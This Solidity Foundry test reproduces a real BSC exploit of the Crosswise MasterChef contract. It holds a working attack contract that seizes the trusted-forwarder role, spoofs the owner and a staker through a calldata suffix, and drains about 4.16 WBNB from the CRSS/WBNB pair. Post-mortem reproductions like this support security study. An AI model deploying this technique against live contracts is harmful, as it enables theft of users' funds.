src/test/2025-05/crosswise_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 4.16 WBNB
8// Attacker : 0xc49f2938327aA2cDc3F2f89Ed17B54b3671F05dE
9// Attack Contract : 0xafc88CaB578Af298BA412376C34B43F6392E939a
10// Vulnerable Contract : 0x70873211CB64c1D4EC027Ea63a399A7D07c4085B
11// Attack Tx : https://bscscan.com/tx/0xfe88443d73e8ae6d4799c4d3cc42488730c084624fd2daa5f035c1ad2927ea0f
12//
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x70873211CB64c1D4EC027Ea63a399A7D07c4085B#code
15//
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/1002
18//
19// Attack summary: The attacker set itself as MasterChef's trusted forwarder, spoofed the owner to
20// set pool 0's deposit fee to 100%, spoofed an approved staker to deposit CRSS, and routed the fee
21// into the CRSS/WBNB pair before swapping out WBNB.
22// Root cause: MasterChef's public setTrustedForwarder lets any caller become the trusted forwarder
23// for calldata-suffix based _msgSender() spoofing.
24 
25address constant ATTACKER = 0xc49F2938327aa2cDc3F2f89Ed17b54B3671F05DE;
26address constant TRACE_ATTACK_CONTRACT = 0xafc88CaB578AF298Ba412376c34b43f6392e939a;
27address constant MASTER_CHEF = 0x70873211CB64c1D4EC027Ea63A399A7d07c4085B;
28address constant CRSS_TOKEN = 0x99FEFBC5cA74cc740395D65D384EDD52Cb3088Bb;
29address constant CRSS_WBNB_PAIR = 0xb5d85cA38a9CbE63156a02650884D92A6e736DDC;
30address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
31address constant SPOOFED_STAKER = 0xfD3002cE12D81c4e5F62B97F3c72f18122291A65;
32 
33interface ICrssToken {
34    function balanceOf(
35        address account
36    ) external view returns (uint256);
37    function allowance(
38        address owner,
39        address spender
40    ) external view returns (uint256);
41}
42 
43interface ICrosswiseMasterChef {
44    function owner() external view returns (address);
45    function trustedForwarder() external view returns (address);
46    function devAddress() external view returns (address);
47    function treasuryAddress() external view returns (address);
48    function setTrustedForwarder(
49        address trustedForwarder
50    ) external;
51    function set(uint256 pid, uint256 allocPoint, uint256 depositFeeBP, address strategy, bool withUpdate) external;
52    function updatePool(
53        uint256 pid
54    ) external;
55    function setDevAddress(
56        address devAddress
57    ) external;
58    function setTreasuryAddress(
59        address treasuryAddress
60    ) external;
61    function userInfo(
62        uint256 pid,
63        address user
64    ) external view returns (uint256 amount, uint256 rewardDebt, uint256 crssRewardLockedUp, bool isVest, bool isAuto);
65    function deposit(uint256 pid, uint256 amount, address referrer, bool isVest, bool isAuto) external;
66}
67 
68interface ICrosswisePairLike {
69    function token0() external view returns (address);
70    function token1() external view returns (address);
71    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
72    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
73}
74 
75interface IWBNBLike {
76    function balanceOf(
77        address account
78    ) external view returns (uint256);
79}
80 
81contract ContractTest is BaseTestWithBalanceLog {
82    function setUp() public {
83        vm.createSelectFork("bsc", 49_186_830);
84 
85        fundingToken = WBNB_TOKEN;
86        attacker = address(this);
87 
88        vm.label(ATTACKER, "Attacker EOA");
89        vm.label(TRACE_ATTACK_CONTRACT, "Trace Attack Contract");
90        vm.label(MASTER_CHEF, "Crosswise MasterChef");
91        vm.label(CRSS_TOKEN, "CRSS");
92        vm.label(CRSS_WBNB_PAIR, "CRSS/WBNB Pair");
93        vm.label(WBNB_TOKEN, "WBNB");
94        vm.label(SPOOFED_STAKER, "Spoofed Staker");
95    }
96 
97    function testExploit() public balanceLog {
98        assertEq(ICrosswisePairLike(CRSS_WBNB_PAIR).token0(), CRSS_TOKEN);
99        assertEq(ICrosswisePairLike(CRSS_WBNB_PAIR).token1(), WBNB_TOKEN);
100        assertEq(ICrosswiseMasterChef(MASTER_CHEF).trustedForwarder(), 0xCC6B00b966b0A903e1F73cbCd845A8618c9603Ba);
101 
102        uint256 stakerBalance = ICrssToken(CRSS_TOKEN).balanceOf(SPOOFED_STAKER);
103        assertEq(stakerBalance, 10_320_972_557_081_805_631_006_556);
104        assertGe(ICrssToken(CRSS_TOKEN).allowance(SPOOFED_STAKER, MASTER_CHEF), stakerBalance);
105 
106        (, uint112 wbnbReserveBefore,) = ICrosswisePairLike(CRSS_WBNB_PAIR).getReserves();
107        assertEq(uint256(wbnbReserveBefore), 9_771_726_308_878_491_704);
108 
109        new CrosswiseTrustedForwarderAttack(address(this));
110 
111        uint256 profit = IWBNBLike(WBNB_TOKEN).balanceOf(address(this));
112        assertEq(profit, 4_158_211_071_044_910_965);
113        assertEq(IWBNBLike(WBNB_TOKEN).balanceOf(CRSS_WBNB_PAIR), 5_613_515_237_833_580_739);
114    }
115}
116 
117contract CrosswiseTrustedForwarderAttack {
118    address private immutable profitReceiver;
119 
120    constructor(
121        address _profitReceiver
122    ) {
123        profitReceiver = _profitReceiver;
124 
125        ICrosswiseMasterChef masterChef = ICrosswiseMasterChef(MASTER_CHEF);
126        ICrssToken crss = ICrssToken(CRSS_TOKEN);
127 
128        address realOwner = masterChef.owner();
129        masterChef.setTrustedForwarder(address(this));
130 
131        _callAs(
132            realOwner,
133            abi.encodeWithSelector(
134                ICrosswiseMasterChef.set.selector, uint256(0), uint256(0), uint256(10_000), address(0), false
135            )
136        );
137 
138        masterChef.updatePool(0);
139 
140        address dev = masterChef.devAddress();
141        _callAs(dev, abi.encodeWithSelector(ICrosswiseMasterChef.setDevAddress.selector, dev));
142 
143        address treasury = masterChef.treasuryAddress();
144        _callAs(treasury, abi.encodeWithSelector(ICrosswiseMasterChef.setTreasuryAddress.selector, treasury));
145 
146        masterChef.userInfo(0, SPOOFED_STAKER);
147 
148        uint256 stakerBalance = crss.balanceOf(SPOOFED_STAKER);
149        _callAs(
150            SPOOFED_STAKER,
151            abi.encodeWithSelector(
152                ICrosswiseMasterChef.deposit.selector, uint256(0), stakerBalance, address(0), false, false
153            )
154        );
155 
156        ICrosswisePairLike pair = ICrosswisePairLike(CRSS_WBNB_PAIR);
157        (uint112 reserve0, uint112 reserve1,) = pair.getReserves();
158        uint256 crssInput = crss.balanceOf(CRSS_WBNB_PAIR) - uint256(reserve0);
159        uint256 amountOut = _crosswiseAmountOut(crssInput, reserve0, reserve1);
160 
161        pair.swap(0, amountOut, profitReceiver, "");
162    }
163 
164    function _callAs(address spoofedSender, bytes memory data) private {
165        (bool ok,) = MASTER_CHEF.call(bytes.concat(data, bytes20(spoofedSender)));
166        require(ok, "spoofed call failed");
167    }
168 
169    function _crosswiseAmountOut(
170        uint256 amountIn,
171        uint256 reserveIn,
172        uint256 reserveOut
173    ) private pure returns (uint256) {
174        uint256 amountInWithFee = amountIn * 998;
175        return amountInWithFee * reserveOut / (reserveIn * 1000 + amountInWithFee);
176    }
177}